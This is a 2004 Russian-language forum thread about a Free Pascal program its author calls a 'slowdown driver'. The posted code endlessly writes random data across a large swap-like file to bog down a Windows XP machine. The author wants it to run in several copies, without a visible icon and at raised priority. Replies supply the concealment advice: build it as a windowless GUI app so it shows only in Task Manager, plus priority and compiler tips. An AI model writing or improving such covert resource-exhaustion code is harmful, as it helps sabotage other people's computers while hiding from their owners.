драйверочек-тормозочек, :) |
драйверочек-тормозочек, :) |
SKVOZNJAK |
13.12.2004 2:37
Сообщение
#1
|
Профи Группа: Пользователи Сообщений: 930 Пол: Мужской Репутация: 11 |
Код USES CRT, DOS; VAR Q3,W3: BYTE; Q2,W2: LONGINT; Q7: FILE; QQQ: ARRAY[1..100000] OF BYTE; DirIn : SearchRec; LABEL 1; BEGIN DELAY(60000); DELAY(60000); DELAY(60000); RANDOMIZE; ASSIGN(Q7,'KBJ.SWP'); FindFirst('KBJ.SWP', AnyFile, DirIn); IF DosError=0 THEN ERASE(Q7); Rewrite(Q7,1); 1: FOR W2:=1 TO 20000 DO BEGIN Q2:=RANDOM(80000000); SEEK(Q7,Q2); Q3:=RANDOM(256); FOR W3:=1 TO 200 DO BLOCKWRITE(Q7,Q3,1); END; BLOCKWRITE(Q7,QQQ,100000); GOTO 1; CLOSE(Q7); END. Компилится под вин32, в ярлыке указывается "свернуть в значёк". Не очень эффективно, но несколько экземпляров должны дать необходимый эффект Как сделать чтобы и значка на экране видно не было, а заодно и увеличить приоритет проги. |
Romtek |
14.12.2004 22:24
Сообщение
#2
|
Знаток Группа: Пользователи Сообщений: 303 Пол: Мужской Реальное имя: Роман Репутация: 2 |
Как понять: "Компилится под вин32" ? Турбо Паскаль не компилит под Win32, только Real mode. Тогда зачем создавать тему в этом разделе ?
Или ты компилишь в другом компиляторе (FPC/TMT/VP/GPC) ? Почему пишешь "USES CRT, DOS;", а не "Windows" ? Цитата(SKVOZNJAK) Как сделать чтобы и значка на экране видно не было, а заодно и увеличить приоритет проги. Кажется, SetPriority (не помню точно).Вообще, смотреть надо справочник по WinAPI. -------------------- Romiras HomeLab- материалы и статьи по разработке ПО, моделирование алгоритмов, обработка и анализ информации, нейронные сети, машинное зрение и прочее.
|
Altair |
16.12.2004 9:58
Сообщение
#3
|
Ищущий истину Группа: Модераторы Сообщений: 4 824 Пол: Мужской Реальное имя: Олег Репутация: 45 |
Цитата Компилится под вин32, в ярлыке указывается "свернуть в значёк". Не очень эффективно, но несколько экземпляров должны дать необходимый эффект Как сделать чтобы и значка на экране видно не было, А почему бы не компилировать с директивами для графического приложения? Так получается консольное, и консоль все равно будет на экране, а если приложение скомпилировать под граф. режим, то при отсутсвии в нем окон, вообще определеить то, что программа работает можно будет лишь посмотрев менеджер задач (CTRL+ALT+DEL)... -------------------- Помогая друг другу, мы справимся с любыми трудностями!
"Не опускать крылья!" (С) |
SKVOZNJAK |
16.12.2004 16:36
Сообщение
#4
|
Профи Группа: Пользователи Сообщений: 930 Пол: Мужской Репутация: 11 |
Цитата(romtek @ 14.12.04 19:24) Как понять: "Компилится под вин32" ? Турбо Паскаль не компилит под Win32, только Real mode. Тогда зачем создавать тему в этом разделе ? Или ты компилишь в другом компиляторе (FPC/TMT/VP/GPC) ? Почему пишешь "USES CRT, DOS;", а не "Windows" ? Здравствуйте, я ваша 32 битная Тётя Ася! Продаю улучшеный хеден шолдерс - отбеливает перхоть на раз, и никакого запаха !!! Уж сколько обсуждали, тормозили, почти год ждали топик под 32 битный паскаль, а почти никто ничего не слышал и не понял Борланд Паскаль компилит ещё и под ПМ и вынь. А вот наш дорогой и горячё любимый халявный FPC, которому за неимением достойной альтернативы, и посвящён данный раздел, создаёт кроссплатформенные проги. Можно было б под дос или беос откомпилить, но работать ЭТО должно под ХРюшей. И так, чтобы ей мало не показалось ;) |
Romtek |
17.12.2004 0:15
Сообщение
#5
|
Знаток Группа: Пользователи Сообщений: 303 Пол: Мужской Реальное имя: Роман Репутация: 2 |
SKVOZNJAK, скажи, а эта программа что-то путное делает?
И на мой вопрос Цитата Почему пишешь "USES CRT, DOS;", а не "Windows" ? ты так и не ответил.Замени на "DOS" на "Windows". Delay() лучше заменить на Sleep () - не кушает процессорное время. -------------------- Romiras HomeLab- материалы и статьи по разработке ПО, моделирование алгоритмов, обработка и анализ информации, нейронные сети, машинное зрение и прочее.
|
Dark |
17.12.2004 1:22
Сообщение
#6
|
Знаток Группа: Пользователи Сообщений: 408 Пол: Мужской Репутация: 3 |
ХЫХЫХЫХЫХЫХЫХ
суть ее работы в том и заключается - чтобы тормозить -------------------- - Где я?
- Во тьме. - В какой тьме? - Во тьме твоего мозга. |
SKVOZNJAK |
18.12.2004 15:53
Сообщение
#7
|
Профи Группа: Пользователи Сообщений: 930 Пол: Мужской Репутация: 11 |
Цитата(Oleg_Z @ 16.12.04 6:58) А почему бы не компилировать с директивами для графического приложения? Я не использовал режим совместимости с предыдущими версиями паскалей, а в этом ни одна директива компилятора не проходит Приведи работающий пример проги с какой-нибудь директивой. |
Romtek |
19.12.2004 10:56
Сообщение
#8
|
Знаток Группа: Пользователи Сообщений: 303 Пол: Мужской Реальное имя: Роман Репутация: 2 |
Какая версия компилятора?
Пробуй Код {$IFDEF FPC} {$APPTYPE GUI} {$ENDIF} Uses Windows; begin end. -------------------- Romiras HomeLab- материалы и статьи по разработке ПО, моделирование алгоритмов, обработка и анализ информации, нейронные сети, машинное зрение и прочее.
|
Текстовая версия | 20.09.2024 5:51 |